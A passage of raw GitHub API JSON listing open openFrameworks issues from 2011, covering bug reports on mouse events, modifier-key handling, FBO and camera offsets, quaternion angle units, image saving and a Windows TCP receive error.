(win7)","user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2011-07-21T09:34:52Z","updated_at":"2011-07-21T10:39:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"just added output to all events in an emptyExample on windows7 64bit.\r\n\r\nif im clicking, the following output occurs even if the mouse is not moved\r\n\r\n mousePressed\r\n mouseReleased\r\n mouseMoved"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/652","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/652/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/652/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/652/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/652","id":1231959,"number":652,"title":"ofAppGlutWindow/ofEvents: pressedKeys accumulate in special cases","user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2011-07-15T18:49:46Z","updated_at":"2012-01-08T04:45:01Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"In some cases, when modifier keys are used, the pressedKeys set will accumulate keys.\r\n\r\nThis happens because \"modifier-up\" messages are not sent in the same way as normal and special keys.\r\n\r\nTo test, watch the size of the pressedKeys:\r\n\r\n cout << pressedKeys.size() << \" num pressed keys \" << endl;\r\n\r\nPress a modifier key and a normal key -- say ctrl-a. If the 'a' is lifted first, then the modified-a key int is removed from the pressedKeys set. If CTRL is released before the 'a', then the non-modified-a key-up int is sent, and it is not erased from the pressedKeys set. If this is repeated with different modifier+key downs / ups the accumulation occurs.\r\n\r\nUltimately, there needs to be better handling of modifier keys. Perhaps there is a way to use the modifier masks keep track of modifier keys with a call to glutGetModifiers() in the keyboard_cb and keyboard_up_cb static methods?\r\n\r\nIt looks like progress has been made toward this in ofConstants.h\r\n\r\n\t#define OF_KEY_CTRL\t\t\t0x0200\r\n\t#define OF_KEY_ALT\t\t\t0x0300\r\n\t#define OF_KEY_SHIFT\t\t0x0400\r\n\r\nBut it seems to have stopped there.\r\n\r\nI'm happy to work on this -- any suggestions on a strategy? Perhaps this is already being addressed of 007?\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/651","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/651/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/651/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/651/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/651","id":1230184,"number":651,"title":"ofFBO + ofCamera = unwanted offset","user":{"login":"toxin20","id":123776,"avatar_url":"https://secure.gravatar.com/avatar/05af9e4d2d68692f010edaaa9e0e178d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"05af9e4d2d68692f010edaaa9e0e178d","url":"https://api.github.com/users/toxin20","html_url":"https://github.com/toxin20","followers_url":"https://api.github.com/users/toxin20/followers","following_url":"https://api.github.com/users/toxin20/following","gists_url":"https://api.github.com/users/toxin20/gists{/gist_id}","starred_url":"https://api.github.com/users/toxin20/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/toxin20/subscriptions","organizations_url":"https://api.github.com/users/toxin20/orgs","repos_url":"https://api.github.com/users/toxin20/repos","events_url":"https://api.github.com/users/toxin20/events{/privacy}","received_events_url":"https://api.github.com/users/toxin20/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2011-07-15T13:21:44Z","updated_at":"2011-07-20T19:04:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If you use those these two together the 3d objects get an unwanted offset\r\n\r\ncode:\r\n\r\n```c++\r\nvoid testApp::draw()\r\n{\r\n \r\n cam.begin();\r\n ofPushMatrix();\r\n ofSetColor(255,255,255);\r\n ofBox(200);\r\n ofPopMatrix();\r\n cam.end();\r\n \r\n \r\n fbo.begin();\r\n cam.begin();\r\n \r\n ofClear(0);\r\n ofPushMatrix();\r\n ofSetColor(0,0,0);\r\n ofBox(200);\r\n ofPopMatrix();\r\n \r\n cam.end();\r\n fbo.end();\r\n \r\n \r\n glPushMatrix();\r\n //ofTranslate(0,6,0); <--- now i'm using something like this to \"repair\" it\r\n ofSetColor(255,255,255,255);\r\n glScalef(1,-1,1);\r\n fbo.draw(0,- ofGetHeight());\r\n glPopMatrix();\r\n \r\n \r\n \r\n}\r\n```\r\n\r\nNormally the two boxes should overlap completely, instead it looks like this:\r\n\r\n![screen1](http://i51.tinypic.com/11cfi1l.png)\r\n![screen2](http://i55.tinypic.com/2ewnv5i.png)\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/646","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/646/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/646/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/646/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/646","id":1216274,"number":646,"title":"ofQuaternion::makeRotate takes degrees, used to take radians, documentation says radians","user":{"login":"andreasmuller","id":791114,"avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","url":"https://api.github.com/users/andreasmuller","html_url":"https://github.com/andreasmuller","followers_url":"https://api.github.com/users/andreasmuller/followers","following_url":"https://api.github.com/users/andreasmuller/following","gists_url":"https://api.github.com/users/andreasmuller/gists{/gist_id}","starred_url":"https://api.github.com/users/andreasmuller/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/andreasmuller/subscriptions","organizations_url":"https://api.github.com/users/andreasmuller/orgs","repos_url":"https://api.github.com/users/andreasmuller/repos","events_url":"https://api.github.com/users/andreasmuller/events{/privacy}","received_events_url":"https://api.github.com/users/andreasmuller/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-07-13T15:18:04Z","updated_at":"2011-07-19T00:31:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\r\nA tiny issue I spotted:\r\n\r\nofQuaternion.cpp, line 14:\r\n\r\n```C++\r\n/// Set the elements of the Quat to represent a rotation of angle\r\n/// (radians) around the axis (x,y,z)\r\nvoid ofQuaternion::makeRotate( float angle, float x, float y, float z ) {\r\n\tangle = ofDegToRad(angle);\r\n```\r\n\r\nof**X**Quaternion::makeRotate used to take radians, only noticed as I was moving some old code over, otherwise I would have just looked at the code in ofQuaternion.cpp to see the angle type. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/645","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/645/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/645/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/645/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/645","id":1209436,"number":645,"title":"ofVideoGrabber::listDevices() does not list devices when initGrabber not called","user":{"login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","url":"https://api.github.com/users/roxlu","html_url":"https://github.com/roxlu","followers_url":"https://api.github.com/users/roxlu/followers","following_url":"https://api.github.com/users/roxlu/following","gists_url":"https://api.github.com/users/roxlu/gists{/gist_id}","starred_url":"https://api.github.com/users/roxlu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roxlu/subscriptions","organizations_url":"https://api.github.com/users/roxlu/orgs","repos_url":"https://api.github.com/users/roxlu/repos","events_url":"https://api.github.com/users/roxlu/events{/privacy}","received_events_url":"https://api.github.com/users/roxlu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"obviousjim","id":321434,"avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","url":"https://api.github.com/users/obviousjim","html_url":"https://github.com/obviousjim","followers_url":"https://api.github.com/users/obviousjim/followers","following_url":"https://api.github.com/users/obviousjim/following","gists_url":"https://api.github.com/users/obviousjim/gists{/gist_id}","starred_url":"https://api.github.com/users/obviousjim/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/obviousjim/subscriptions","organizations_url":"https://api.github.com/users/obviousjim/orgs","repos_url":"https://api.github.com/users/obviousjim/repos","events_url":"https://api.github.com/users/obviousjim/events{/privacy}","received_events_url":"https://api.github.com/users/obviousjim/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":0,"created_at":"2011-07-12T16:05:23Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"^^^^\r\nTried on Mac:\r\nhttps://gist.github.com/1078282"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/643","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/643/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/643/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/643/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/643","id":1208289,"number":643,"title":"8 BPP (grayscale) ofImage saves blank on Windows, fine on os x","user":{"login":"obviousjim","id":321434,"avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","url":"https://api.github.com/users/obviousjim","html_url":"https://github.com/obviousjim","followers_url":"https://api.github.com/users/obviousjim/followers","following_url":"https://api.github.com/users/obviousjim/following","gists_url":"https://api.github.com/users/obviousjim/gists{/gist_id}","starred_url":"https://api.github.com/users/obviousjim/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/obviousjim/subscriptions","organizations_url":"https://api.github.com/users/obviousjim/orgs","repos_url":"https://api.github.com/users/obviousjim/repos","events_url":"https://api.github.com/users/obviousjim/events{/privacy}","received_events_url":"https://api.github.com/users/obviousjim/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-07-12T13:05:25Z","updated_at":"2012-03-16T04:21:18Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"https://gist.github.com/1077933\r\n\r\nsaving images converted to 8PP using ofImage::setImageType(OF_IMAGE_GRAYSCALE) and then calling saveImage() save blank on windows, but works on OS X\r\n\r\ntraced the issue down to the call to FreeImage_Save(), both seem to be the same. not sure what the problem is\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/642","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/642/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/642/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/642/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/642","id":1205789,"number":642,"title":"ofxiPhone: Possible delayed input/touch event issue ","user":{"login":"cerupcat","id":204151,"avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","url":"https://api.github.com/users/cerupcat","html_url":"https://github.com/cerupcat","followers_url":"https://api.github.com/users/cerupcat/followers","following_url":"https://api.github.com/users/cerupcat/following","gists_url":"https://api.github.com/users/cerupcat/gists{/gist_id}","starred_url":"https://api.github.com/users/cerupcat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cerupcat/subscriptions","organizations_url":"https://api.github.com/users/cerupcat/orgs","repos_url":"https://api.github.com/users/cerupcat/repos","events_url":"https://api.github.com/users/cerupcat/events{/privacy}","received_events_url":"https://api.github.com/users/cerupcat/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":null,"comments":1,"created_at":"2011-07-12T02:46:23Z","updated_at":"2012-08-12T12:19:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Forum issue: http://forum.openframeworks.cc/index.php/topic,6316.new.html#new\r\n\r\nThis may be related to using CADisplayLink. When openGL seems to be pushed a bit, touch events seem to drop or are delayed. When using NSTimer in ofxiPhoneAppDelegate instead of CADisplayLink this does not occur.\r\n\r\nIt may be beneficial for developers to set whether they'd like to use CADisplayLink (if available) vs NSTimer for rendering or not."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/631","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/631/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/631/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/631/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/631","id":1185346,"number":631,"title":"ofImage::saveImage() - saving from png to gif creates grayscale image","user":{"login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","url":"https://api.github.com/users/roxlu","html_url":"https://github.com/roxlu","followers_url":"https://api.github.com/users/roxlu/followers","following_url":"https://api.github.com/users/roxlu/following","gists_url":"https://api.github.com/users/roxlu/gists{/gist_id}","starred_url":"https://api.github.com/users/roxlu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roxlu/subscriptions","organizations_url":"https://api.github.com/users/roxlu/orgs","repos_url":"https://api.github.com/users/roxlu/repos","events_url":"https://api.github.com/users/roxlu/events{/privacy}","received_events_url":"https://api.github.com/users/roxlu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-07-07T21:37:47Z","updated_at":"2011-07-12T13:03:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"See title and test code:\r\nhttps://gist.github.com/952bd35591dc0cb23f61"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/618","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/618/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/618/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/618/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/618","id":1169032,"number":618,"title":"call ofEasyCam::setPosition in testApp::setup() is forgotten","user":{"login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","url":"https://api.github.com/users/roxlu","html_url":"https://github.com/roxlu","followers_url":"https://api.github.com/users/roxlu/followers","following_url":"https://api.github.com/users/roxlu/following","gists_url":"https://api.github.com/users/roxlu/gists{/gist_id}","starred_url":"https://api.github.com/users/roxlu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roxlu/subscriptions","organizations_url":"https://api.github.com/users/roxlu/orgs","repos_url":"https://api.github.com/users/roxlu/repos","events_url":"https://api.github.com/users/roxlu/events{/privacy}","received_events_url":"https://api.github.com/users/roxlu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-07-05T18:23:34Z","updated_at":"2011-07-06T18:09:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Setting the position of an ofEasyCam instance in ofSetup() does not work. What does work in testApp::setup() is calling ofEasyCam::setDistance(). When calling ofEasyCam::setPosition() in for example testApp::draw() does work.\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/612","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/612/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/612/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/612/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/612","id":1124068,"number":612,"title":"need conversion ofMatrix3x3<->ofMatrix4x4","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-06-27T18:30:26Z","updated_at":"2011-06-27T18:30:26Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently there doesn't appear to be any way to do this other than by hand\r\nAlso it would be highly useful ofMatrix3x3 in general had equivalent accessors to ofMatrix4x4"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/605","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/605/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/605/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/605/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/605","id":1067300,"number":605,"title":"function wrapping glMultMatrixf in ofMatrix4x4","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2011-06-16T13:13:35Z","updated_at":"2011-10-04T10:10:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Need some way of applying current ofMatrix4x4 to the scene without going down to gl calls"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/591","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/591/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/591/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/591/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/591","id":984564,"number":591,"title":"problem with ofImage resize","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-06-01T13:56:17Z","updated_at":"2011-06-01T13:56:17Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://forum.openframeworks.cc/index.php/topic,6370.0.html\r\n\r\nwhen they are not power of 2 perhaps?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/590","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/590/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/590/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/590/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/590","id":978212,"number":590,"title":"ofxTCPManager.receive() - EWOULDBLOCK on Windows","user":{"login":"cristobal","id":155505,"avatar_url":"https://secure.gravatar.com/avatar/c7f941e0c10696b758ae8792714a6744?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c7f941e0c10696b758ae8792714a6744","url":"https://api.github.com/users/cristobal","html_url":"https://github.com/cristobal","followers_url":"https://api.github.com/users/cristobal/followers","following_url":"https://api.github.com/users/cristobal/following","gists_url":"https://api.github.com/users/cristobal/gists{/gist_id}","starred_url":"https://api.github.com/users/cristobal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cristobal/subscriptions","organizations_url":"https://api.github.com/users/cristobal/orgs","repos_url":"https://api.github.com/users/cristobal/repos","events_url":"https://api.github.com/users/cristobal/events{/privacy}","received_events_url":"https://api.github.com/users/cristobal/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-05-31T11:31:08Z","updated_at":"2011-05-31T12:33:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"### ofxNetworkUtils.h - issue 1\n\nThe default message should print out `err` instead of `errno`\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(errno) + \" see errno.h for description of the 